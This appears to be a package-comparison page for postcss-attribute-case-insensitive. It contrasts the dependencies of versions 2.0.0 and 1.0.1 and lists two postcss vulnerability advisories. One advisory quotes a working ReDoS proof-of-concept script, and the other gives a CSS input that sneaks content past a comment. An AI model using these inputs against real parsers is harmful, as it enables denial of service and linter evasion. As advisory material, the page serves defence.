PostCSS Attribute Case Insensitive offers a way to handle case-insensitive attribute selectors in your CSS using PostCSS. Comparing version 2.0.0 with the older 1.0.1 reveals key upgrades relevant for developers. Version 2.0.0 updates its core PostCSS dependency to "^6.0.0", requiring a newer PostCSS version in your project, whereas 1.0.1 used "^5.1.1". While both leverage "postcss-selector-parser" for manipulating selectors, version 2.0.0 employs "^2.2.3," a slight upgrade from 1.0.1's "^2.2.0," potentially including bug fixes and performance improvements in selector parsing.
Significant changes appear in developer dependencies reflecting modern Javascript tooling: version 2.0.0 replaces "babel-preset-es2015" with "babel-preset-env":"^1.4.0". This signals a shift toward a more versatile Babel setup, targeting specific environments rather than a fixed ES2015 preset. Also, "eslint-config-airbnb-base" sees an upgrade from "^5.0.1" to "^8.0.0" indicating up-to-date linting rules. The update from "babel-eslint":"^6.1.2" to "babel-eslint":"^7.0.0" in version 2.0.0 guarantees better compatibility with modern Javascript syntax during linting. Developers upgrading should ensure their build processes and tooling are compatible with these dependency changes. The underlying functionality remains consistent: enabling case-insensitive attribute selectors in CSS, but version 2.0.0 enjoys improved compatibility, updated internal dependencies, and benefits from more recent tooling.
All the vulnerabilities related to the version 2.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.